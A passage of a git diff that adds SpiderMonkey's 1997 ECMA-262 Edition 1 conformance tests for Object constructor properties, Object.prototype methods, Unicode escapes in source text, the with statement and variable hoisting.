+ When the Object constructor is called with no argument, the following
+ step is taken:
+
+ 1. Create a new native ECMAScript object.
+ The [[Prototype]] property of the newly constructed object is set to
+ the Object prototype object.
+
+ The [[Class]] property of the newly constructed object is set
+ to "Object".
+
+ The newly constructed object has no [[Value]] property.
+
+ Return the newly created native object.
+
+ Author: christine@netscape.com
+ Date: 7 october 1997
+*/
+var SECTION = "15.2.2.2";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "new Object()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION, "typeof new Object()", "object", typeof new Object() );
+new TestCase( SECTION, "Object.prototype.toString()", "[object Object]", Object.prototype.toString() );
+new TestCase( SECTION, "(new Object()).toString()", "[object Object]", (new Object()).toString() );
+
+test();
diff --git a/js/src/tests/ecma/ObjectObjects/15.2.3-1.js b/js/src/tests/ecma/ObjectObjects/15.2.3-1.js
new file mode 100644
index 000000000..1e48b82b8
--- /dev/null
+++ b/js/src/tests/ecma/ObjectObjects/15.2.3-1.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.2.3-1.js
+ ECMA Section: 15.2.3 Properties of the Object Constructor
+
+ Description: The value of the internal [[Prototype]] property of the
+ Object constructor is the Function prototype object.
+
+ Besides the call and construct propreties and the length
+ property, the Object constructor has properties described
+ in 15.2.3.1.
+
+ Author: christine@netscape.com
+ Date: 28 october 1997
+
+*/
+var SECTION = "15.2.3";
+var VERSION = "ECMA_2";
+startTest();
+
+writeHeaderToLog( SECTION + " Properties of the Object Constructor");
+
+new TestCase( SECTION, "Object.length", 1, Object.length );
+
+test();
diff --git a/js/src/tests/ecma/ObjectObjects/15.2.3.1-1.js b/js/src/tests/ecma/ObjectObjects/15.2.3.1-1.js
new file mode 100644
index 000000000..8742b37e4
--- /dev/null
+++ b/js/src/tests/ecma/ObjectObjects/15.2.3.1-1.js
@@ -0,0 +1,35 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.2.3.1-1.js
+ ECMA Section: 15.2.3.1 Object.prototype
+
+ Description: The initial value of Object.prototype is the built-in
+ Object prototype object.
+
+ This property shall have the attributes [ DontEnum,
+ DontDelete ReadOnly ]
+
+ This tests the [DontEnum] property of Object.prototype
+
+ Author: christine@netscape.com
+ Date: 28 october 1997
+
+*/
+var SECTION = "15.2.3.1-1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Object.prototype";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION,
+ "var str = '';for ( p in Object ) { str += p; }; str",
+ "",
+ eval( "var str = ''; for ( p in Object ) { str += p; }; str" ) );
+
+test();
diff --git a/js/src/tests/ecma/ObjectObjects/15.2.3.1-2.js b/js/src/tests/ecma/ObjectObjects/15.2.3.1-2.js
new file mode 100644
index 000000000..8dae5f2fd
--- /dev/null
+++ b/js/src/tests/ecma/ObjectObjects/15.2.3.1-2.js
@@ -0,0 +1,36 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.2.3.1-2.js
+ ECMA Section: 15.2.3.1 Object.prototype
+
+ Description: The initial value of Object.prototype is the built-in
+ Object prototype object.
+
+ This property shall have the attributes [ DontEnum,
+ DontDelete ReadOnly ]
+
+ This tests the [DontDelete] property of Object.prototype
+
+ Author: christine@netscape.com
+ Date: 28 october 1997
+
+*/
+
+var SECTION = "15.2.3.1-2";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Object.prototype";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION,
+ "delete( Object.prototype )",
+ false,
+ eval("delete( Object.prototype )") );
+
+test();
diff --git a/js/src/tests/ecma/ObjectObjects/15.2.3.1-3.js b/js/src/tests/ecma/ObjectObjects/15.2.3.1-3.js
new file mode 100644
index 000000000..609f49d3d
--- /dev/null
+++ b/js/src/tests/ecma/ObjectObjects/15.2.3.1-3.js
@@ -0,0 +1,36 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.2.3.1-3.js
+ ECMA Section: 15.2.3.1 Object.prototype
+
+ Description: The initial value of Object.prototype is the built-in
+ Object prototype object.
+
+ This property shall have the attributes [ DontEnum,
+ DontDelete ReadOnly ]
+
+ This tests the [ReadOnly] property of Object.prototype
+
+ Author: christine@netscape.com
+ Date: 28 october 1997
+
+*/
+
+var SECTION = "15.2.3.1-3";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Object.prototype";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION,
+ "Object.prototype = null; Object.prototype",
+ Object.prototype,
+ eval("Object.prototype = null; Object.prototype"));
+
+test();
diff --git a/js/src/tests/ecma/ObjectObjects/15.2.3.1-4.js b/js/src/tests/ecma/ObjectObjects/15.2.3.1-4.js
new file mode 100644
index 000000000..6c0320642
--- /dev/null
+++ b/js/src/tests/ecma/ObjectObjects/15.2.3.1-4.js
@@ -0,0 +1,36 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.2.3.1-4.js
+ ECMA Section: 15.2.3.1 Object.prototype
+
+ Description: The initial value of Object.prototype is the built-in
+ Object prototype object.
+
+ This property shall have the attributes [ DontEnum,
+ DontDelete ReadOnly ]
+
+ This tests the [DontDelete] property of Object.prototype
+
+ Author: christine@netscape.com
+ Date: 28 october 1997
+
+*/
+
+var SECTION = "15.2.3.1-4";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Object.prototype";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION,
+ "delete( Object.prototype ); Object.prototype",
+ Object.prototype,
+ eval("delete(Object.prototype); Object.prototype") );
+
+test();
diff --git a/js/src/tests/ecma/ObjectObjects/15.2.3.js b/js/src/tests/ecma/ObjectObjects/15.2.3.js
new file mode 100644
index 000000000..2dcd9dfb9
--- /dev/null
+++ b/js/src/tests/ecma/ObjectObjects/15.2.3.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.2.3.js
+ ECMA Section: 15.2.3 Properties of the Object Constructor
+
+ Description: The value of the internal [[Prototype]] property of the
+ Object constructor is the Function prototype object.
+
+ Besides the call and construct propreties and the length
+ property, the Object constructor has properties described
+ in 15.2.3.1.
+
+ Author: christine@netscape.com
+ Date: 28 october 1997
+
+*/
+
+var SECTION = "15.2.3";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Properties of the Object Constructor";
+
+writeHeaderToLog( SECTION + " " + TITLE);
+
+// new TestCase( SECTION, "Object.__proto__", Function.prototype, Object.__proto__ );
+new TestCase( SECTION, "Object.length", 1, Object.length );
+
+test();
diff --git a/js/src/tests/ecma/ObjectObjects/15.2.4.1.js b/js/src/tests/ecma/ObjectObjects/15.2.4.1.js
new file mode 100644
index 000000000..1fda30d39
--- /dev/null
+++ b/js/src/tests/ecma/ObjectObjects/15.2.4.1.js
@@ -0,0 +1,30 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.2.4.1.js
+ ECMA Section: 15.2.4 Object.prototype.constructor
+
+ Description: The initial value of the Object.prototype.constructor
+ is the built-in Object constructor.
+
+ Author: christine@netscape.com
+ Date: 28 october 1997
+
+*/
+var SECTION = "15.2.4.1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Object.prototype.constructor";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION,
+ "Object.prototype.constructor",
+ Object,
+ Object.prototype.constructor );
+
+test();
diff --git a/js/src/tests/ecma/ObjectObjects/15.2.4.2.js b/js/src/tests/ecma/ObjectObjects/15.2.4.2.js
new file mode 100644
index 000000000..eb461f7ea
--- /dev/null
+++ b/js/src/tests/ecma/ObjectObjects/15.2.4.2.js
@@ -0,0 +1,96 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.2.4.2.js
+ ECMA Section: 15.2.4.2 Object.prototype.toString()
+
+ Description: When the toString method is called, the following
+ steps are taken:
+ 1. Get the [[Class]] property of this object
+ 2. Call ToString( Result(1) )
+ 3. Compute a string value by concatenating the three
+ strings "[object " + Result(2) + "]"
+ 4. Return Result(3).
+
+ Author: christine@netscape.com
+ Date: 28 october 1997
+
+*/
+var SECTION = "15.2.4.2";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Object.prototype.toString()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION, "(new Object()).toString()", "[object Object]", (new Object()).toString() );
+
+new TestCase( SECTION, "myvar = this; myvar.toString = Object.prototype.toString; myvar.toString()",
+ GLOBAL.replace(/ @ 0x[0-9a-fA-F]+ \(native @ 0x[0-9a-fA-F]+\)/, ''),
+ eval("myvar = this; myvar.toString = Object.prototype.toString; myvar.toString()")
+ );
+
+new TestCase( SECTION, "myvar = MyObject; myvar.toString = Object.prototype.toString; myvar.toString()",
+ "[object Function]",
+ eval("myvar = MyObject; myvar.toString = Object.prototype.toString; myvar.toString()") );
+
+new TestCase( SECTION, "myvar = new MyObject( true ); myvar.toString = Object.prototype.toString; myvar.toString()",
+ '[object Object]',
+ eval("myvar = new MyObject( true ); myvar.toString = Object.prototype.toString; myvar.toString()") );
+
+new TestCase( SECTION, "myvar = new Number(0); myvar.toString = Object.prototype.toString; myvar.toString()",
+ "[object Number]",
+ eval("myvar = new Number(0); myvar.toString = Object.prototype.toString; myvar.toString()") );
+
+new TestCase( SECTION, "myvar = new String(''); myvar.toString = Object.prototype.toString; myvar.toString()",
+ "[object String]",
+ eval("myvar = new String(''); myvar.toString = Object.prototype.toString; myvar.toString()") );
+
+new TestCase( SECTION, "myvar = Math; myvar.toString = Object.prototype.toString; myvar.toString()",
+ "[object Math]",
+ eval("myvar = Math; myvar.toString = Object.prototype.toString; myvar.toString()") );
+
+new TestCase( SECTION, "myvar = new Function(); myvar.toString = Object.prototype.toString; myvar.toString()",
+ "[object Function]",
+ eval("myvar = new Function(); myvar.toString = Object.prototype.toString; myvar.toString()") );
+
+new TestCase( SECTION, "myvar = new Array(); myvar.toString = Object.prototype.toString; myvar.toString()",
+ "[object Array]",
+ eval("myvar = new Array(); myvar.toString = Object.prototype.toString; myvar.toString()") );
+
+new TestCase( SECTION, "myvar = new Boolean(); myvar.toString = Object.prototype.toString; myvar.toString()",
+ "[object Boolean]",
+ eval("myvar = new Boolean(); myvar.toString = Object.prototype.toString; myvar.toString()") );
+
+new TestCase( SECTION, "myvar = new Date(); myvar.toString = Object.prototype.toString; myvar.toString()",
+ "[object Date]",
+ eval("myvar = new Date(); myvar.toString = Object.prototype.toString; myvar.toString()") );
+
+new TestCase( SECTION, "var MYVAR = new Object( this ); MYVAR.toString()",
+ GLOBAL.replace(/ @ 0x[0-9a-fA-F]+ \(native @ 0x[0-9a-fA-F]+\)/, ''),
+ eval("var MYVAR = new Object( this ); MYVAR.toString()")
+ );
+
+new TestCase( SECTION, "var MYVAR = new Object(); MYVAR.toString()",
+ "[object Object]",
+ eval("var MYVAR = new Object(); MYVAR.toString()") );
+
+new TestCase( SECTION, "var MYVAR = new Object(void 0); MYVAR.toString()",
+ "[object Object]",
+ eval("var MYVAR = new Object(void 0); MYVAR.toString()") );
+
+new TestCase( SECTION, "var MYVAR = new Object(null); MYVAR.toString()",
+ "[object Object]",
+ eval("var MYVAR = new Object(null); MYVAR.toString()") );
+
+
+function MyObject( value ) {
+ this.value = new Function( "return this.value" );
+ this.toString = new Function ( "return this.value+''");
+}
+
+test();
diff --git a/js/src/tests/ecma/ObjectObjects/15.2.4.3.js b/js/src/tests/ecma/ObjectObjects/15.2.4.3.js
new file mode 100644
index 000000000..6842a6f1a
--- /dev/null
+++ b/js/src/tests/ecma/ObjectObjects/15.2.4.3.js
@@ -0,0 +1,83 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.2.4.3.js
+ ECMA Section: 15.2.4.3 Object.prototype.valueOf()
+
+ Description: As a rule, the valueOf method for an object simply
+ returns the object; but if the object is a "wrapper"
+ for a host object, as may perhaps be created by the
+ Object constructor, then the contained host object
+ should be returned.
+
+ This only covers native objects.
+
+ Author: christine@netscape.com
+ Date: 28 october 1997
+
+*/
+var SECTION = "15.2.4.3";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Object.prototype.valueOf()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+
+var myarray = new Array();
+myarray.valueOf = Object.prototype.valueOf;
+var myboolean = new Boolean();
+myboolean.valueOf = Object.prototype.valueOf;
+var myfunction = new Function();
+myfunction.valueOf = Object.prototype.valueOf;
+var myobject = new Object();
+myobject.valueOf = Object.prototype.valueOf;
+var mymath = Math;
+mymath.valueOf = Object.prototype.valueOf;
+var mydate = new Date();
+mydate.valueOf = Object.prototype.valueOf;
+var mynumber = new Number();
+mynumber.valueOf = Object.prototype.valueOf;
+var mystring = new String();
+mystring.valueOf = Object.prototype.valueOf;
+
+new TestCase( SECTION, "Object.prototype.valueOf.length", 0, Object.prototype.valueOf.length );
+
+new TestCase( SECTION,
+ "myarray = new Array(); myarray.valueOf = Object.prototype.valueOf; myarray.valueOf()",
+ myarray,
+ myarray.valueOf() );
+new TestCase( SECTION,
+ "myboolean = new Boolean(); myboolean.valueOf = Object.prototype.valueOf; myboolean.valueOf()",
+ myboolean,
+ myboolean.valueOf() );
+new TestCase( SECTION,
+ "myfunction = new Function(); myfunction.valueOf = Object.prototype.valueOf; myfunction.valueOf()",
+ myfunction,
+ myfunction.valueOf() );
+new TestCase( SECTION,
+ "myobject = new Object(); myobject.valueOf = Object.prototype.valueOf; myobject.valueOf()",
+ myobject,
+ myobject.valueOf() );
+new TestCase( SECTION,
+ "mymath = Math; mymath.valueOf = Object.prototype.valueOf; mymath.valueOf()",
+ mymath,
+ mymath.valueOf() );
+new TestCase( SECTION,
+ "mynumber = new Number(); mynumber.valueOf = Object.prototype.valueOf; mynumber.valueOf()",
+ mynumber,
+ mynumber.valueOf() );
+new TestCase( SECTION,
+ "mystring = new String(); mystring.valueOf = Object.prototype.valueOf; mystring.valueOf()",
+ mystring,
+ mystring.valueOf() );
+new TestCase( SECTION,
+ "mydate = new Date(); mydate.valueOf = Object.prototype.valueOf; mydate.valueOf()",
+ mydate,
+ mydate.valueOf() );
+
+test();
diff --git a/js/src/tests/ecma/ObjectObjects/browser.js b/js/src/tests/ecma/ObjectObjects/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma/ObjectObjects/browser.js
diff --git a/js/src/tests/ecma/ObjectObjects/shell.js b/js/src/tests/ecma/ObjectObjects/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma/ObjectObjects/shell.js
diff --git a/js/src/tests/ecma/README b/js/src/tests/ecma/README
new file mode 100644
index 000000000..91f174ab6
--- /dev/null
+++ b/js/src/tests/ecma/README
@@ -0,0 +1 @@
+ECMA 262 Edition 1
diff --git a/js/src/tests/ecma/SourceText/6-1.js b/js/src/tests/ecma/SourceText/6-1.js
new file mode 100644
index 000000000..d618e7daa
--- /dev/null
+++ b/js/src/tests/ecma/SourceText/6-1.js
@@ -0,0 +1,94 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 6-1.js
+ ECMA Section: Source Text
+ Description:
+
+ ECMAScript source text is represented as a sequence of characters
+ representable using the Unicode version 2.0 character encoding.
+
+ SourceCharacter ::
+ any Unicode character
+
+ However, it is possible to represent every ECMAScript program using
+ only ASCII characters (which are equivalent to the first 128 Unicode
+ characters). Non-ASCII Unicode characters may appear only within comments
+ and string literals. In string literals, any Unicode character may also be
+ expressed as a Unicode escape sequence consisting of six ASCII characters,
+ namely \u plus four hexadecimal digits. Within a comment, such an escape
+ sequence is effectively ignored as part of the comment. Within a string
+ literal, the Unicode escape sequence contributes one character to the string
+ value of the literal.
+
+ Note that ECMAScript differs from the Java programming language in the
+ behavior of Unicode escape sequences. In a Java program, if the Unicode escape
+ sequence \u000A, for example, occurs within a single-line comment, it is
+ interpreted as a line terminator (Unicode character 000A is line feed) and
+ therefore the next character is not part of the comment. Similarly, if the
+ Unicode escape sequence \u000A occurs within a string literal in a Java
+ program, it is likewise interpreted as a line terminator, which is not
+ allowed within a string literal-one must write \n instead of \u000A to
+ cause a line feed to be part of the string value of a string literal. In
+ an ECMAScript program, a Unicode escape sequence occurring within a comment
+ is never interpreted and therefore cannot contribute to termination of the
+ comment. Similarly, a Unicode escape sequence occurring within a string literal
+ in an ECMAScript program always contributes a character to the string value of
+ the literal and is never interpreted as a line terminator or as a quote mark
+ that might terminate the string literal.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "6-1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Source Text";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var testcase = new TestCase( SECTION,
+ "// the following character should not be interpreted as a line terminator in a comment: \u000A",
+ 'PASSED',
+ "PASSED" );
+
+// \u000A testcase.actual = "FAILED!";
+
+testcase =
+ new TestCase( SECTION,
+ "// the following character should not be interpreted as a line terminator in a comment: \\n 'FAILED'",
+ 'PASSED',
+ 'PASSED' );
+
+// the following character should noy be interpreted as a line terminator: \\n testcase.actual = "FAILED"
+
+testcase =
+ new TestCase( SECTION,
+ "// the following character should not be interpreted as a line terminator in a comment: \\u000A 'FAILED'",
+ 'PASSED',
+ 'PASSED' );
+
+// the following character should not be interpreted as a line terminator: \u000A testcase.actual = "FAILED"
+
+testcase =
+ new TestCase( SECTION,
+ "// the following character should not be interpreted as a line terminator in a comment: \n 'PASSED'",
+ 'PASSED',
+ 'PASSED' );
+// the following character should not be interpreted as a line terminator: \n testcase.actual = 'FAILED'
+
+testcase =
+ new TestCase( SECTION,
+ "// the following character should not be interpreted as a line terminator in a comment: u000D",
+ 'PASSED',
+ 'PASSED' );
+
+// the following character should not be interpreted as a line terminator: \u000D testcase.actual = "FAILED"
+
+test();
+
diff --git a/js/src/tests/ecma/SourceText/6-2.js b/js/src/tests/ecma/SourceText/6-2.js
new file mode 100644
index 000000000..d7bb09077
--- /dev/null
+++ b/js/src/tests/ecma/SourceText/6-2.js
@@ -0,0 +1,97 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 6-1.js
+ ECMA Section: Source Text
+ Description:
+
+ ECMAScript source text is represented as a sequence of characters
+ representable using the Unicode version 2.0 character encoding.
+
+ SourceCharacter ::
+ any Unicode character
+
+ However, it is possible to represent every ECMAScript program using
+ only ASCII characters (which are equivalent to the first 128 Unicode
+ characters). Non-ASCII Unicode characters may appear only within comments
+ and string literals. In string literals, any Unicode character may also be
+ expressed as a Unicode escape sequence consisting of six ASCII characters,
+ namely \u plus four hexadecimal digits. Within a comment, such an escape
+ sequence is effectively ignored as part of the comment. Within a string
+ literal, the Unicode escape sequence contributes one character to the string
+ value of the literal.
+
+ Note that ECMAScript differs from the Java programming language in the
+ behavior of Unicode escape sequences. In a Java program, if the Unicode escape
+ sequence \u000A, for example, occurs within a single-line comment, it is
+ interpreted as a line terminator (Unicode character 000A is line feed) and
+ therefore the next character is not part of the comment. Similarly, if the
+ Unicode escape sequence \u000A occurs within a string literal in a Java
+ program, it is likewise interpreted as a line terminator, which is not
+ allowed within a string literal-one must write \n instead of \u000A to
+ cause a line feed to be part of the string value of a string literal. In
+ an ECMAScript program, a Unicode escape sequence occurring within a comment
+ is never interpreted and therefore cannot contribute to termination of the
+ comment. Similarly, a Unicode escape sequence occurring within a string literal
+ in an ECMAScript program always contributes a character to the string value of
+ the literal and is never interpreted as a line terminator or as a quote mark
+ that might terminate the string literal.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "6-1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Source Text";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+// encoded quotes should not end a quote
+
+new TestCase( SECTION,
+ "var s = 'PAS\\u0022SED'; s",
+ "PAS\"SED",
+ eval("var s = 'PAS\\u0022SED'; s") );
+
+new TestCase( SECTION,
+ 'var s = "PAS\\u0022SED"; s',
+ "PAS\"SED",
+ eval('var s = "PAS\\u0022SED"; s') );
+
+
+new TestCase( SECTION,
+ "var s = 'PAS\\u0027SED'; s",
+ "PAS\'SED",
+ eval("var s = 'PAS\\u0027SED'; s") );
+
+
+new TestCase( SECTION,
+ 'var s = "PAS\\u0027SED"; s',
+ "PAS\'SED",
+ eval('var s = "PAS\\u0027SED"; s') );
+
+var testcase = new TestCase( SECTION,
+ 'var s="PAS\\u0027SED"; s',
+ "PAS\'SED",
+ "" );
+var s = "PAS\u0027SED";
+
+testcase.actual = s;
+
+testcase = new TestCase( SECTION,
+ 'var s = "PAS\\u0022SED"; s',
+ "PAS\"SED",
+ "" );
+var s = "PAS\u0022SED";
+
+testcase.actual = s;
+
+
+test();
+
diff --git a/js/src/tests/ecma/SourceText/browser.js b/js/src/tests/ecma/SourceText/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma/SourceText/browser.js
diff --git a/js/src/tests/ecma/SourceText/shell.js b/js/src/tests/ecma/SourceText/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma/SourceText/shell.js
diff --git a/js/src/tests/ecma/Statements/12.10-1.js b/js/src/tests/ecma/Statements/12.10-1.js
new file mode 100644
index 000000000..8e4f67c87
--- /dev/null
+++ b/js/src/tests/ecma/Statements/12.10-1.js
@@ -0,0 +1,117 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 12.10-1.js
+ ECMA Section: 12.10 The with statement
+ Description:
+ WithStatement :
+ with ( Expression ) Statement
+
+ The with statement adds a computed object to the front of the scope chain
+ of the current execution context, then executes a statement with this
+ augmented scope chain, then restores the scope chain.
+
+ Semantics
+
+ The production WithStatement : with ( Expression ) Statement is evaluated
+ as follows:
+ 1. Evaluate Expression.
+ 2. Call GetValue(Result(1)).
+ 3. Call ToObject(Result(2)).
+ 4. Add Result(3) to the front of the scope chain.
+ 5. Evaluate Statement using the augmented scope chain from step 4.
+ 6. Remove Result(3) from the front of the scope chain.
+ 7. Return Result(5).
+
+ Discussion
+ Note that no matter how control leaves the embedded Statement, whether
+ normally or by some form of abrupt completion, the scope chain is always
+ restored to its former state.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "12.10-1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "The with statement";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+
+// although the scope chain changes, the this value is immutable for a given
+// execution context.
+
+new TestCase( SECTION,
+ "with( new Number() ) { this +'' }",
+ GLOBAL,
+ eval("with( new Number() ) { this +'' }") );
+
+// the object's functions and properties should override those of the
+// global object.
+
+new TestCase(
+ SECTION,
+ "var MYOB = new WithObject(true); with (MYOB) { parseInt() }",
+ true,
+ eval("var MYOB = new WithObject(true); with (MYOB) { parseInt() }") );
+
+new TestCase(
+ SECTION,
+ "var MYOB = new WithObject(false); with (MYOB) { NaN }",
+ false,
+ eval("var MYOB = new WithObject(false); with (MYOB) { NaN }") );
+
+new TestCase(
+ SECTION,
+ "var MYOB = new WithObject(NaN); with (MYOB) { Infinity }",
+ Number.NaN,
+ eval("var MYOB = new WithObject(NaN); with (MYOB) { Infinity }") );
+
+new TestCase(
+ SECTION,
+ "var MYOB = new WithObject(false); with (MYOB) { }; Infinity",
+ Number.POSITIVE_INFINITY,
+ eval("var MYOB = new WithObject(false); with (MYOB) { }; Infinity") );
+
+
+new TestCase(
+ SECTION,
+ "var MYOB = new WithObject(0); with (MYOB) { delete Infinity; Infinity }",
+ Number.POSITIVE_INFINITY,
+ eval("var MYOB = new WithObject(0); with (MYOB) { delete Infinity; Infinity }") );
+
+// let us leave the with block via a break.
+
+new TestCase(
+ SECTION,
+ "var MYOB = new WithObject(0); while (true) { with (MYOB) { Infinity; break; } } Infinity",
+ Number.POSITIVE_INFINITY,
+ eval("var MYOB = new WithObject(0); while (true) { with (MYOB) { Infinity; break; } } Infinity") );
+
+
+test();
+
+function WithObject( value ) {
+ this.prop1 = 1;
+ this.prop2 = new Boolean(true);
+ this.prop3 = "a string";
+ this.value = value;
+
+ // now we will override global functions
+
+ this.parseInt = new Function( "return this.value" );
+ this.NaN = value;
+ this.Infinity = value;
+ this.unescape = new Function( "return this.value" );
+ this.escape = new Function( "return this.value" );
+ this.eval = new Function( "return this.value" );
+ this.parseFloat = new Function( "return this.value" );
+ this.isNaN = new Function( "return this.value" );
+ this.isFinite = new Function( "return this.value" );
+}
diff --git a/js/src/tests/ecma/Statements/12.10.js b/js/src/tests/ecma/Statements/12.10.js
new file mode 100644
index 000000000..906430924
--- /dev/null
+++ b/js/src/tests/ecma/Statements/12.10.js
@@ -0,0 +1,27 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 12.10-1.js
+ ECMA Section: 12.10 The with statement
+ Description:
+
+ Author: christine@netscape.com
+ Date: 11 september 1997
+*/
+var SECTION = "12.10-1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "The with statement";
+
+writeHeaderToLog( SECTION +" "+ TITLE);
+
+new TestCase( SECTION,
+ "var x; with (7) x = valueOf(); typeof x;",
+ "number",
+ eval("var x; with(7) x = valueOf(); typeof x;") );
+
+test();
diff --git a/js/src/tests/ecma/Statements/12.2-1.js b/js/src/tests/ecma/Statements/12.2-1.js
new file mode 100644
index 000000000..a0ece24fa
--- /dev/null
+++ b/js/src/tests/ecma/Statements/12.2-1.js
@@ -0,0 +1,40 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 12.2-1.js
+ ECMA Section: The variable statement
+ Description:
+
+ If the variable statement occurs inside a FunctionDeclaration, the
+ variables are defined with function-local scope in that function, as
+ described in section 10.1.3. Otherwise, they are defined with global
+ scope, that is, they are created as members of the global object, as
+ described in section 0. Variables are created when the execution scope
+ is entered. A Block does not define a new execution scope. Only Program and
+ FunctionDeclaration produce a new scope. Variables are initialized to the
+ undefined value when created. A variable with an Initializer is assigned
+ the value of its AssignmentExpression when the VariableStatement is executed,
+ not when the variable is created.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "12.2-1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "The variable statement";
+
+writeHeaderToLog( SECTION +" "+ TITLE);
+
+new TestCase( "SECTION",
+ "var x = 3; function f() { var a = x; var x = 23; return a; }; f()",
+ void 0,
+ eval("var x = 3; function f() { var a = x; var x = 23; return a; }; f()") );
+
+test();
+
